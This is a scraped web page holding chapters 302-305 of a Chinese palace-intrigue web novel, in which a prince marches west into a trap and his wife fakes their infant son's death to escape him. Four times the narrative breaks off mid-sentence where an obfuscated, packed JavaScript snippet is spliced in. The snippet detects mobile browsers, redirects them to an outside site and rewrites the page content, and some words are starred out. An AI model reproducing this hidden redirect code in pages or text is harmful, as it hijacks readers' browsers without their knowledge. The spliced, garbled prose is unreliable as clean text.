萧凌川的指尖在扶手上轻轻敲击,掩饰着胸口翻涌的情绪。 西榆的金矿已经有了眉目,凌风的密信昨日才到,金矿的具体位置已经探明。 但雍王那批旧部,个个都是桀骜不驯的兵油子,根本不听号令,再加上西洲国的人时常越境骚扰,逃的逃,死的死,如今能用的人已所剩无几。 开采金矿,迫在眉睫。 若能将王家在西榆的私兵尽数收入囊中,金矿唾手可得。 到那时,他只需将大邺境内的三分之一金矿上缴国库,堵住萧政贤的嘴,剩下的三分之二,便足以支撑他走完那条通往至尊之位的最后一段路。 萧凌川本已打算应允,开口的瞬间,心念电转。 他抬起眼,神色已然恢复了古井无波:“将军先回吧,此事重大,本王需从长计议。” 王德山见他不肯应允,脸上血色尽褪,却也不敢再多言,只能被人搀扶着,一步三回头地离开了。 萧凌川回到寝殿时,屋内暖意融融。 姜姝宁正倚在软榻上,手里拿着一双小巧的虎头鞋,一针一线地缝制着。 她神情专注,侧脸在烛光下显得格外柔和。 他走过去,在她身边坐下,拿起另一只已经缝好的小鞋,放在掌心,只觉得新奇至极:“你居然还会做这些东西。” 姜姝宁头也未抬,手指灵巧地穿针引线:“这有什么难的?我让凌芜去京里的成衣铺,照着刚出生的婴孩尺寸要了样子,又挑了些软和的布料,学着做罢了。” “王妃学什么都快,”萧凌川的语气里带着一丝自己都未察觉的赞叹,“想来将来,定是个好母亲。” 他伸手,轻轻握住她没有拿针的那只手,她的手有些凉,被他温热的掌心包裹着。 “今日来,本王是有个好消息要告诉王妃。”他看着她的眼睛,想从里面找到一丝真正为他而起的波澜,“瑞王死了,死在牢里。听说死前受尽了折磨,你兄长的大仇,算是报了。你……高兴吗?” “妾身自然高兴。”姜姝宁终于抬起眼,目光清凌凌地望着他,话锋一转,“可王爷,瞧着倒像是不太高兴?” 萧凌川一滞,没想到她竟如此敏锐。 他松开她的手,目光不由自主地落在她隆起的腹部上,声音有些沉闷:“镇国将军方才来过了。他想让本王带兵西征,还拿出了半枚虎符投诚。可本王……想等你把孩子生下来,再做打算。” 姜姝宁抚摸着自己的肚子,脸上漾开一抹温和的笑意:“王爷早就该西征了。就算不是为了军功,也该为了西榆边境的百姓想想。如今瑞王已死,王家群龙无首,只能攀附王爷您,这正是将王家势力一举拿下的绝佳时机,王爷怎能犹豫?” 她顿了顿,继续道,“况且,妾身在王府里很安全。有凌芜在,还有孙神医也随时能请来,王爷实在无需担心。” “女子生产,犹如一只脚踏进鬼门关,本王如何能放心?”萧凌川皱起眉,语气里是实实在在的担忧。 “王爷这是信不过妾身,还是信不过孙神医?”姜姝宁轻笑一声,那笑声像羽毛,轻轻搔刮着他的心。 她微微倾身,靠近他一些,声音压得更低,带着一股蛊惑人心的力量,“况且……王爷若能在此次西征中挣得军功,将来,不也能名正言顺地为妾身……向陛下去讨一道洗脱罪名的圣旨吗? “难道王爷想让妾身,让您的孩子,一辈子都顶着杀害姜氏满门的污名,活在这暗无天日的地方,见不得光?” 萧凌川浑身一震。 是了,他怎么忘了这个! 他光想着开采金矿,图谋大业,却忘了她身上还背负着天大的冤屈。 若他能立下不世之功,挟军威以令皇帝,为她翻案,让她堂堂正正地站在自己身边,成为他名正言顺的王妃,那才是他最该做的事! 所有犹豫瞬间烟消云散。 “你说得对!本王这就进宫向陛下请旨,明日便启程西征!若本王剿匪有功,定能为你洗去所有冤屈,让你堂堂正正地做本王的王妃!” 他俯身,双手捧起她的脸,郑重地承诺:“你等本王回来!” 姜姝宁仰着脸,看着他因激动而涨红的脸庞,脸上的笑靥如花般绽放,温婉而顺从。 “好。” 萧凌川没发现,她此时眼底一闪而过的精光。 第302章 你注定是要失望了 第三百零二章你注定是要失望了 萧凌川启程那日,天色灰蒙。 他一身玄色劲装,外罩银色软甲,衬得身形愈发挺拔。 临行前,他走到姜姝宁面前,目光沉沉,最后落在她高高隆起的腹部。 那里面,是他未曾谋面的孩子。 他伸出布满薄茧的大掌,动作轻柔得不像一个即将奔赴战场的将领,小心翼翼地覆在她的肚子上,感受着那微弱却坚实的生命律动。 “王妃,你已怀胎八月,”他的声音有些沙哑,带着显而易见的失落,“无论本王剿匪多快,怕是都没法赶在他出生前回来了。不能亲眼目睹我们的孩子降世,实在遗憾。” 隔着衣料,她能感觉到他掌心的灼热,像一块烙铁,烫得她心口发紧。 姜姝宁垂下眼,看着他覆在自己腹部的手,唇角勾起一抹浅淡的笑意。 “王爷,人生在世,哪有事事顺心,不留遗憾的?您别想太多,安心剿匪,我和孩子……等你回来。” “本王本想,今生不留遗憾的。”萧凌川抬手,转而轻抚她的脸颊,指腹的粗糙轻轻摩挲着她细腻的肌肤。 那双曾令京城无数贵女痴迷的桃花眸里,此刻盛满了浓得化不开的深情,像是要将她整个人溺毙其中。 这目光太烫,太沉,压得她几乎喘不过气。 姜姝宁不动声色地偏开头,视线落在他肩甲上精致的云纹,躲开了他过分炙热的注视。 可惜啊,萧凌川,你注定是要失望了。 你想要的圆满,从一开始,就是个笑话。 一旁的凌芜见气氛凝滞,连忙上前一步,清脆地开口:“王爷,您就安心启程吧!府里有属下和孙神医呢,王妃和未来的小主子,绝对不会有事的!” 为了让她安胎,孙神医早已被萧凌川请来,直接住进了王府的客院。 整个王府上下,从采买的婆子到洒扫的丫鬟,无一不是为了她腹中这个即将降生的孩子忙碌着,一切都安排得妥妥当帖帖。 萧凌川深吸一口气,似乎想将她的模样深深刻进脑海。 良久,他终于收回了手,强行收回自己恋恋不舍的目光。 “本王走了。” 马蹄声响起,踏碎了清晨的宁静,很快便远去了。 直到那最后一丝声响也消失在长街尽头,姜姝宁心头那根一直紧绷着的弦才松开来。 太好了,他终于离开了,她的自由指日可待了。 周围的空气似乎都变得清新,连呼吸都顺畅了许多。 接下来的日子归于平静。 姜姝宁每日摆弄她那些宝贝草药,给新得的几株稀有品种换土施肥; 午后阳光好的时候,就搬张躺椅在廊下,逗弄着小黄狗,看它在她脚边打滚撒欢; 偶尔来了兴致,便去客院寻孙神医,虚心请教几个疑难杂症的方子; 或是悄悄去一趟藏锦阁,与崔芝兰聊聊天。 日子过得惬意又充实。 这日,凌芜从外面回来,脚步匆匆,脸上带着一股压抑不住的兴奋。 “王妃!王妃!”她人还没到跟前,声音就先传了进来,“奴婢听说,二小姐要改嫁啦!” 姜姝宁正拿着小剪子,修剪一盆长势过盛的兰花,闻言手上的动作顿也未顿。 “嫁给谁了?” “小公爷!” 姜姝宁轻笑:“能让心高气傲的大长公主认下她这个二嫁的儿媳,也是有几分本事的。” “您猜她是怎么做到的?简直……闻所未闻!前几日的春日宴上,她也不知使了什么手段,竟跟喝醉了酒的小公爷滚到了一处!还偏偏被人撞见了!当时在场的世家贵族可都看着呢!听说大长公主的脸都气绿了,当场就想发作,可那么多人看着,想赖都赖不掉!” 凌芜说得唾沫横飞,“最后这事儿闹到了陛下面前,陛下看在她好歹是瑞王遗孀的份上,竟亲自将她赐婚给了小公爷,如今她已经是板上钉钉的小公爷正妻了!说是择日就要完婚呢!” 姜姝宁剪下最后一根多余的兰叶,将剪子放在一旁,拿起帕子擦了擦手,脸上没有丝毫意外的神色。 这才是她熟悉的姜瑶真。 无论何时何地,无论陷入何种绝境,她总有法子攀附上一个男人,让自己过上锦衣玉食的好日子。 前世,她嫁给瑞王萧修湛,依旧能将萧凌川牢牢攥在手心里,哄得他神魂颠倒,心甘情愿为她和南月国牵线搭桥,做那通敌叛国之事。 今生,瑞王**,萧凌川也看清了她的真面目,对她弃如敝履。 看似毫无退路,但她转头就搭上小公爷,还成了他的正妻。 国公府的小公爷,大长公主的独子,未来的国公爷。 更何况,两人本就有那么一段不清不楚的青梅竹马情谊。 对如今无依无靠的姜瑶真来说,这确实是最好的选择了。 用自己的名节,去赌一个光明的未来。 姜瑶真,她总是这么敢赌,也总能赌赢。 “知道了。”姜姝宁淡淡开口,声音平得像一汪不起波澜的古井,“那便代王爷,送上一份新婚贺礼给她吧。” “是,王妃!”凌芜清脆地应了一声,眼底闪过一丝了然的笑意,转身快步去库房挑选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只有风声在空寂的府邸里回旋,如同鬼魅的呜咽。 就在这时,一股刺骨的寒意从她背后袭来,一只冰冷、僵硬的手,狠狠地扼住了她的脖颈! 姜瑶真瞬间汗**倒竖,无法呼吸。 一个她毕生难忘的、仿佛从地狱深处磨砺而出的声音,贴着她的耳廓响起,带着浓得化不开的怨毒与恨意: “姜瑶真……你这个**,背叛本王还不够,竟还敢贪图本王的东西!” 那声音……那称呼…… 姜瑶真浑身血液仿佛都已冻结。 她拼尽全力扭过头,借着窗外惨白的月光,看清了身后那张脸—— 是萧修湛! 第303章 是人是鬼? 第三百零三章是人是鬼? “殿……殿下?”姜瑶真浑身颤抖,死死地盯着眼前这张惨白面容,“你究竟……是人……还是鬼?” “你自然希望本王是鬼!”萧修湛凑近她,神色狰狞,面容扭曲,如地狱里爬出来的恶鬼,“这样,你就可以心安理得地带着本王的东西去嫁别的男人了!今夜,就让本王这只鬼,亲手结束你这**的性命吧!” 话音未落,扼住她脖颈的手猛然收紧。 窒息感瞬间袭来,姜瑶真惊恐万分地瞪大了眼睛。 但就在这濒死的瞬间,她脑中却闪过一道雪亮的电光——鬼魂是没有实体的,更没有温度! 他不是鬼! 萧修湛没有死! 这个认知燃起了她强烈的求生欲望。 “殿……下,殿下饶命!”她哭喊着,声音凄厉而无助,“您听妾身……解释……” “哦?”萧修湛的眼中闪过一丝残忍的快意,似乎很享受她此刻的狼狈,“本王倒想听听,你这张颠倒黑白的嘴,又能如何自圆其说!” 他猛地一甩手,姜瑶真便如断线的风筝般被狠狠推开,狼狈地摔倒在地。 她顾不上疼痛,连滚带爬地挪动着,哭泣不止:“殿下,您可知妾身得知您的死讯,有多伤心?可……可妾身毕竟是个无依无靠的女子,没了夫君,在这京城之中,如同砧板上的鱼肉,如何能活得下去?您既然没死,为何……为何不早些告诉妾身?” “告诉你好让你继续在本王面前演戏吗?”萧修湛的脸色彻底冷了下来,一步步向她逼近,投下的阴影将她完全笼罩,“本王诈死,是为了配合陛下的计谋!但本王万万没料到,你竟如此迫不及待,这么快就为自己找好了下家!姜瑶真,是本王从前太小瞧你了!” “殿下,妾身是真的迫不得已啊!”她仰起那张梨花带雨的脸,哭得肝肠寸断,“从前王家和那些高门大户,好歹看在瑞王妃的身份上,给妾身几分薄面。如今您‘**’,那些捧高踩低的势利小人,还会把妾身放在眼里吗?还有景王那个煞神!他本就对我恨之入骨,您不在了,他随时都可能派人来取我的性命啊……” 她声泪俱下,“我与小公爷是从小的情分,他见我孤苦无依,心生怜悯,这才想娶我为妻,庇护于我。此番春日宴的荒唐事,也是为了演给大长公主看,(逼)她不得不接受我……殿下,您都不知道,妾身近来过的这些日子,心里有多难受……” 萧修湛听着她的哭诉,脸上的杀意未减,反而勾起一抹极尽嘲讽的冷笑:“照你这么说,你背叛本王,反倒是本王的错了?” “妾身绝无此意!” 她强撑着从地上爬到他脚边,仰起头,用那双被泪水洗过、显得格外清亮的眼睛看着他。 “殿下既然安然无恙,妾身也就放心了。但……但妾身被指婚给小公爷,是陛下的圣旨。陛下他……明知您是诈死,却还是下了这道旨意,将妾身指给小公爷,难道,您就没觉得奇怪吗?” 这句话如同一根针,精准地刺中了萧修湛心中那一丝不曾言说的疑虑。 他眉头一蹙:“你这话是什么意思?” “妾身想知道,”姜瑶真稳住心神,小心翼翼地问道,“不知王爷可否告知,您配合陛下的,究竟是何计谋?也好让妾身……为您分析一二。” 萧修湛审视地盯着她,这个女人在生死关头,竟还能如此冷静地分析利弊。 他沉默片刻,阴冷地笑道:“告诉你也无妨。自然是为了诱杀景王那个杂种!让他以为本王**,我舅舅才会将那半块虎符交给他,引他去西榆,接管本王在那里的私兵。” 说到这里,他脸上浮现出扭曲的快意,“可**,我舅舅早已跟西洲国那边打好了招呼,西榆等着他的,可不止什么匪徒,而是西洲国的精锐兵马!萧凌川此次,必死无疑!” “原来如此。”姜瑶真恍然大悟,随即,她凄然一笑,那笑容里带着一丝洞悉一切的悲凉,“对陛下而言,景王确实是最大的心头大患。可殿下您身后有镇国将军府,难道就不是陛下的心腹大患了吗?” “你到底想说什么?”萧修湛的声音里带上了一丝不耐与警惕。 姜瑶真缓缓地、一字一顿地吐出那句最诛心的话,彻底击碎了他所有的自得与筹谋: “‘狡兔死,走狗烹’的道理,殿下难道不明白吗?陛下既然下了那道指婚圣旨,就意味着,在他心里,您这个‘瑞王’,已经是个**了。他根本就没打算,让您活着再当回瑞王。” 萧修湛的脸色顿时变得很难看。 他脑海中不受控制地闪过数日前在大牢里的情形。 那个一直病恹恹、仿佛风一吹就倒的皇兄萧政贤,是如何用那双看似温和无害的眼睛看着他,恳切地让他配合这出“诈死诱敌”的计谋。 当时,他满心只想着如何除掉萧凌川,根本没去深思这背后更深一层的算计。 如今想来,姜瑶真的分析字字诛心,却也字字在理。 自己帮他除掉了手握兵权的萧凌川,皇兄的江山就少了一根最粗的尖刺。 可然后呢? 他这个有镇国将军府做后盾的瑞王,难道不就是下一根要被拔掉的刺吗? 这孱弱的皇兄,一旦真正尝到了独揽大权的滋味,就绝不会再容许任何人来掣肘自己,哪怕是亲兄弟! 彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228118|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨的寒意从脚底一路窜上天灵盖,萧修湛第一次感觉到了发自内心的恐惧,那比死亡更甚,是被最信任的人**于股掌、用完即弃的恐惧。 他看着脚下这个刚刚还想亲手掐死的女人,声音干涩嘶哑,第一次没了那份高高在上的傲慢:“依你所见,本王……应当如何?” 姜瑶真见他那凶神恶煞的态度终于彻底松动,紧绷到极点的神经这才微微一松。 她知道自己这条命,暂时是保住了。 “殿下,事到如今,我们不如跟小公爷合作!您别忘了,大长公主是您的亲姑母,她虽多年不理朝政,但当年与国公爷在朝中积累的人脉根基还在。只要有他们相助,您还愁没有东山再起的机会吗?” “她?”萧修湛发出一声短促的冷笑,仿佛听到了天大的笑话,“我那位姑母,向来明哲保身,从不肯踏足朝堂纷争半步,她怎会为了本王,冒这个险?” “姑母或许不会,但她的独子会。”姜瑶真眼中闪动着算计的精光,笃定地说道,“小公爷是她唯一的命根子,只要让小公爷牵涉其中,她这个当母亲的,就算是为了保住儿子的前程性命,也一定会倾尽全力帮忙!” 说着,她大胆地伸出手,握住了萧修湛冰冷的手腕,语气恳切至极,“殿下放心,妾身……会帮您的!” 那温软的触感让萧修湛像是被蝎子蜇了一下,猛地一把甩开她的手,满脸都是毫不掩饰的嫌恶:“你?你一个马上就要改嫁给小公爷的女人,本王凭什么信你?” “王爷!”姜瑶真仿佛被他伤透了心,眼圈又是一红,泫然欲泣,“妾身无论嫁给谁,心里装着的,都只有殿下您一人!殿下乃是人中龙凤,顶天立地的大丈夫,将来何愁无妻?” 她话锋一转,声音压得更低,如同蛇信吐露着致命的诱惑,“更何况,妾身知道,姐姐姜姝宁,一直被萧凌川那个杂种藏在景王府里。殿下您想想,届时等景王一死,那座王府群龙无首,她……不就成了您的囊中之物了吗?” “姜姝宁”三个字,像一道魔咒,瞬间攫住了萧修湛的心神。 姜瑶真再美,也不及姜姝宁令他心神摇曳。 一股病态的、扭曲的兴奋感便从心底涌起。 被萧凌川视若珍宝的女人到底是何种滋味,他也想尝尝。 “好,本王就跟小公爷合作。”萧修湛重新逼视着她,眼中杀机与欲望交织,“但是姜瑶真,你给本王记清楚,别想耍任何花样。否则,本王会让你知道,什么叫死无全尸!” “殿下放心吧!”姜瑶真垂下眼帘,掩去眸中一闪而过的精光,声音柔顺得像一只温驯的猫,“妾身与您一样,都在……等着景王死呢!” 第304章 斩不断的宿命之索 第三百零四章斩不断的宿命之索 春日午后的阳光,一声嘹亮有力的啼哭划破了景王府的宁静。 姜姝宁躺在锦被间,浑身像是被拆散了又重组,每一寸骨头都泛着酸软的疼。 可当产婆将那个小小的、皱巴巴的婴孩抱到她枕边时,所有的疲惫似乎都被那一声啼哭给冲散了。 她侧过头,细细打量着这个刚刚从她身体里分离出来的小生命。 他闭着眼睛,哭声洪亮有力,一点也不像个刚出生的孩子。 眉眼轮廓虽未完全长开,却已然带上萧凌川的影子,尤其是那挺直的鼻梁和微微上翘的眼角,简直就像一个模子刻出来的。 “生了!生了!王妃生了个小世子!”凌芜冲到门外,声音里带着压抑不住的狂喜和哭腔,对着院子里翘首以盼的下人们大喊,“快!给王爷发急信!告诉他,王妃母子平安,他有儿子了!一个健康强壮的小世子!” 府里瞬间沸腾起来,喜悦的气氛像是煮沸了的水,在每个角落冒着泡。 孙神医上前,替姜姝宁和小家伙分别诊了脉。 他摸着胡子,脸上满是欣慰:“王妃底子好,生产虽耗了些元气,但并无大碍。小世子脉象强劲,气息沉稳,是个顶康健的娃娃。老夫总算是能跟王爷交代了。” 姜姝宁费力地扯出一个笑容,声音有些虚弱:“有劳孙神医了。” 她看着怀里软糯可爱的小东西,心里有一种说不出的奇异感觉。 这是她和萧凌川的孩子。 这份血脉的延续,仿若一根斩不断的宿命之索,将她与那个她曾深爱又刻骨痛恨的男人,紧紧捆绑在一起。 府里的管事嬷嬷很快便领了两个奶水充足的乳母进来。 姜姝宁没有推辞,她现在需要尽快恢复身体,没那么多精力去坚持事事亲力亲为。 她看着乳母小心翼翼地将小家伙抱走,送去隔壁的暖阁喂奶,屋子里终于安静下来。 月子里的日子过得清净而滋补。 因着休息得好,又有孙神医的汤药和府里精心准备的膳食,姜姝宁的身子恢复得极快。 不过几日,她便能下床走动。 待出了月子,整个人更是丰腴了些许,面色红润,气色极佳,瞧着竟全无半分生产过的痕迹,反而添了几分成**子的温润风韵。 那小家伙一天一个样。 很快就从皱巴巴的红皮猴儿长成了一个白白胖胖的粉嫩团子,一双黑葡萄似的眼睛好奇地打量着这个世界,谁逗他都咧着没牙的小嘴笑,惹得府里上上下下的人见了,心都化了,谁都想伸手抱一抱。 崔芝兰被禁足在藏锦阁,每日只能透过二楼的窗台,远远地看着主院里的动静。 她能看到姜姝宁抱着孩子在廊下晒太阳,阳光洒在她身上,给她镀上了一层柔和的光晕。 她脸上那种发自内心的慈爱与温柔,是崔芝兰从未见过的。 她看着姜姝宁低头,用鼻尖轻轻蹭着婴孩肥嘟嘟的脸颊,逗得那孩子咯咯直笑。那一幕,温馨得刺眼。 崔芝兰心中五味杂陈,像是打翻了调料铺子。 对不起,表哥。 我到底还是没能狠下心,将萧凌川的血脉除掉。 她靠在窗棂上,暗暗下定决心。 表哥,你放心,我定会想办法,促成你和姜姑娘的姻缘的。 时光飞逝,转眼小家伙就快满两个月了。 就在一个寻常的午后,景王府终于收到了来自西榆的信。 凌芜拿着那封薄薄的家书,几乎是飞奔着冲进姜姝宁的房间。 “王妃!王爷的信来了!” 姜姝宁正抱着孩子,闻言心头一跳,连忙将怀里睡得正香的小家伙交给一旁的乳母。 凌芜展开信纸,清了清嗓子,声音里满是激动地念道:“第一件事,是给咱们的小世子取名。” 她顿了顿,一字一句地念出来,“萧、邺、君。” “萧邺君……”凌芜反复念叨着这个名字,眼睛亮晶晶的,“这名字可真好听!大邺之君,多霸气啊!” 姜姝宁垂下眼帘,长长的睫毛掩去了眸中的复杂情绪。 何止是霸气,简直是毫不掩饰的野心。 看来,没能坐上那个至高无上的位置,萧凌川终究是意难平。 他这是在用儿子的名字,宣告他未竟的志向。 “王妃,您快听,后面还有!”凌芜的声音忽然低沉下来,带着一丝凝重。 姜姝宁抬起头,示意她继续。 信的第二件事,便是告诉她,他被算计了。 当他带着兵马抵达西榆,才发现所谓的匪患横行,不过是一个幌子。 盘踞在那里的,根本不是**,而是装备精良的西洲国正规军。 而镇国公的长子王启,早就被西洲国兵马救走。 他和凌风带着手下的人马,在西榆边境的崇山峻岭间,与西洲军恶战了一月有余,双方死伤无数,战况惨烈至极。 他曾上报军情,请求朝廷支援,可奏折如石沉大海,朝廷迟迟不派一兵一卒。 萧凌川在信中说,他几乎可以断定,这是当今圣上与镇国将军联手设下的一个局。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228119|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个借西洲国之手,除掉他这个心腹大患的毒计。 信的末尾,他笔锋一转,让她不必担心。 他说他有信心打赢这场仗,只是归期恐怕要比预想中晚上许多。 听着凌芜念完信,姜姝宁只觉得心口像是被一只无形的大手狠狠攥住,又闷又疼。 “两国交战,死伤无数……”她喃喃自语,脸色一点点变得煞白,“陛下竟然不派援兵!他怎能……如此心狠!” 就算萧凌川功高震主,让他忌惮,可那些在边境浴血奋战的将士是无辜的! 为了除掉一个政敌,竟然不惜牺牲上万士兵的性命,拿国土安危做赌注! 前世她怎么从未发现,萧政贤的心思竟如此歹毒! 难道,对权势的渴望真的会让一个人变得面目全非吗? “王妃,您别太担心了。”凌芜见她脸色不好,连忙出声安慰,“王爷足智多谋,骁勇善战,他信里都说了,他有信心打赢的!您现在最要紧的,就是养好身子,带好小世子,安安稳稳地等王爷凯旋!” “不行!”姜姝宁站起身,沉声道,“那是战争!有战争的地方,就会有不计其数的死伤!他们缺的不仅仅是兵力,更缺的是大夫和药材!” 她几乎能想象出尸横遍野,伤兵哀嚎的惨状。 萧凌川……他会不会也受伤了? 这个念头一冒出来,就再也压不下去。 “凌芜!”她厉声命令道,“立刻去挑十几个武功最好的侍卫,护送孙神医和府里另外几名大夫,即刻启程,前往西榆!对了,把黑豹也带上,它通人性,嗅觉灵敏,关键时刻,能帮上王爷的忙!” “王妃,这……”凌芜大惊失色,“可是,王爷在信里千叮咛万嘱咐,让孙神医务必留在您和小世子身边,照顾好你们的!” “我和君儿都很好,我们现在什么都不缺!”姜姝宁的态度强硬无比,不容置喙,“现在,是西榆那些浴血奋战的将士们更需要孙神医!多一个大夫,就能多救回几条命!” 她盯着凌芜,一字一顿地补充道,“另外,立刻清点库房里所有能用的上的伤药,不够就去京城最大的药行买!不计代价,把能买到的金疮药、止血散、续骨膏……所有疗伤圣药都给我运过去!记住,所有行动务必低调,绝不能让任何人知道是我景王府所为!” 若皇帝存心借此战除掉萧凌川,一旦察觉他们前往西榆送药,必然百般阻挠。 凌芜知道,王妃已经下定了决心,再劝也是无用。 她深吸一口气,重重地点了点头:“是,王妃!奴婢这就去办!” 第305章 府里出事了 第三百零五章府里出事了 夜色如墨,浓得化不开。 凌芜亲自盯着,将最后一箱药材搬上马车。 孙神医和几位府医换上了不起眼的布衣,混在一队乔装打扮的侍卫中,准备趁着夜幕掩护出城。 “王妃和小世子就拜托凌芜姑娘了。”孙神医临行前,还是有些不放心,压低了声音嘱咐。 凌芜重重点头:“孙神医放心,奴婢会照顾好王妃和小世子的。” 马蹄声被厚布包裹,沉闷地踏在青石板路上,很快就消失在巷子的尽头。 凌芜站在王府后门,望着那片深不见底的黑暗,心里没来由地发慌,总觉得有什么事要发生。 没想到,孙神医离开还不到三天,府里就出事了。 小邺君毫无征兆地发起高烧,稚嫩的身体烫得像个小火炉。 他整夜整夜地哭,嗓子都哭哑了,小脸涨得通红发紫,任凭谁哄都没用。 府医开了退热的方子,一碗碗苦涩的药汁灌下去,却如同石沉大海,小世子的体温依旧居高不下。 姜姝宁抱着孩子,两天两夜没合眼,眼底布满了骇人的血丝。 她不停地用温水给孩子擦拭身体,嘴里哼着不成调的歌谣,声音沙哑得厉害。 凌芜守在一旁,心都揪成了一团,却又束手无策,只能干着急。 第三天清晨,天边泛起一丝鱼肚白,微弱的曦光透过窗棂,照亮了房内的狼藉和疲惫。 小邺君的哭声,终于停了。 姜姝宁就那么静静地坐着,抱着怀里一动不动的孩子,像一尊失了魂的雕像。 “凌芜,”她开口,声音轻得像一片羽毛,却重重地砸在凌芜心上,“君儿他……没了。” 凌芜脑中“嗡”地一声,整个人都懵了。 她不敢相信自己的耳朵,踉跄着上前,想去抱那个小小的婴孩。 指尖触及的,却是一片冰冷的僵硬。 襁褓中的小脸苍白如纸,紧闭的双眼下,是青紫的阴影。 他那么安静,再也不会哭了。 “怎么会这样?”凌芜的眼泪瞬间决堤,声音抖得不成样子,“府医不是说……不是说只是普通的发热吗?怎么会……” 她猛地看向姜姝宁,像是想起了什么,急切道:“王妃!您不是会施针吗?您快救救小世子啊!您一定有办法的,对不对?” 姜姝宁缓缓抬起头,那双曾经明亮动人的眸子,此刻黯淡无光,空洞得吓人。 “君儿太小了,经脉脆弱,根本承受不住针力。”她像是被抽干了所有力气,每一个字都说得无比艰难,“我尽力了……还是……还是留不住他。” 最后一丝希望破灭,凌芜再也忍不住,跪倒在地,嚎啕大哭起来。 “怎么会这样啊……小世子才那么小……” 姜姝宁看着她哭得肝肠寸断的模样,眼中闪过一丝不忍。 她伸出手,轻轻放在凌芜的肩上:“生死有命,富贵在天。你……也不必这么难过。” 凌芜哭得上气不接下气,哽咽道:“要是王爷知道了……他得多难过啊?可怜王爷……他……他连小世子一面都还没见过……” “不要告诉他!” 姜姝宁的声音陡然尖锐起来,她死死抓住凌芜的手,指甲几乎要嵌进她的皮肉里。 “王爷如今在西榆浴血奋战,沙场之上,瞬息万变!绝不能因为这件事让他分心!”她盯着凌芜,眼神里带着一种不容置喙的命令,“君儿的事,我自己会处理。你听着,早夭的孩子不能入殓,你去外面……买个干净的陶罐来。另外,此事暂时不要让府里任何人知道,就说小世子身子不适,谁也不见。” 凌芜被她眼中那股决绝震慑住,只能含着泪,胡乱地点头应下。 巨大的悲痛让她失去了思考的能力,王妃说什么,便是什么。 房门被轻轻带上,凌芜的脚步声渐渐远去。 屋内的死寂,只维持了一瞬。 姜姝宁脸上的哀恸、绝望、疲惫,如同退潮般消失得一干二净,取而代之的是一种冰冷的、近(乎)残忍的平静。 她低下头,冰凉的唇瓣轻轻印在小邺君冰冷的额头上,声音低得只有自己能听见。 “吾儿,委屈你了。” “母亲……很快就来找你。” 说完,她抱着孩子,走到窗边,轻轻推开了窗户。 窗外,一道纤细的人影早已等候多时,正是崔芝兰身边的小翠。 “凌芜被我支走了。”姜姝宁的声音压得极低,“有劳崔侧妃,帮我把孩子送到我母亲那儿。我母亲会帮我处理好一切的!” 小翠迅速伸出双手,小心翼翼地接过那个小小的襁褓。 “王妃放心,侧妃都安排好了,定会好好安置小世子!” 姜姝宁的目光胶着在那个襁褓上,贪婪地,一寸寸地描摹着孩子的轮廓,仿佛要将他刻进骨血里。 直到小翠的身影消失在墙角,她才关上窗,隔绝了外界的一切。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235803|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她转身,动作迅速地从衣柜里拿出几件小邺君从前的旧衣物,熟练地叠好,塞进另一个干净的襁褓里,细心地包裹成一个婴儿的形状。 当凌芜双眼红肿地捧着一个素净的陶罐回来时,看到的就是姜姝宁抱着那个“婴儿”的模样。 “王妃……”凌芜的声音依旧带着浓浓的鼻音。 姜姝宁将怀里的襁褓,轻轻地、郑重地放进了陶罐里。 凌芜流着泪,下意识地探过头,想再看小世子最后一眼。 “别看了。”姜姝宁伸手,挡住了她的视线,声音沙哑,“徒增伤悲罢了。” 听到这话,凌芜刚止住的眼泪又涌了出来。 她不敢再哭出声,怕惹得王妃更加伤心。 失去亲生骨肉的痛苦,该有多深,她连想都不敢想。 凌芜小心翼翼地把陶罐抱进怀里,那重量,仿佛承载了整个王府的悲伤。 她对姜姝宁郑重承诺:“王妃放心,奴婢定会将小世子……带到京郊最好的寺庙里安葬,给他供最好的香火,让僧人日日为他诵经祈福。” “谢谢你,凌芜。” 姜姝宁垂下眼帘,长长的睫毛掩盖住了眼底一闪而过的愧疚。 抱歉,凌芜,让你为我演的这场戏,流了这么多真心实意的眼泪。 可若不如此,我此生,怕是永远都不可能挣脱萧凌川的掌控,尝不到自由的滋味。 小翠用被褥做掩饰,将襁褓里的小邺君抱到藏锦阁。 就在这短短的时间内,那具刚刚还冰冷僵硬的小小身躯,此刻竟已回温变软,胸口有了平稳的起伏。 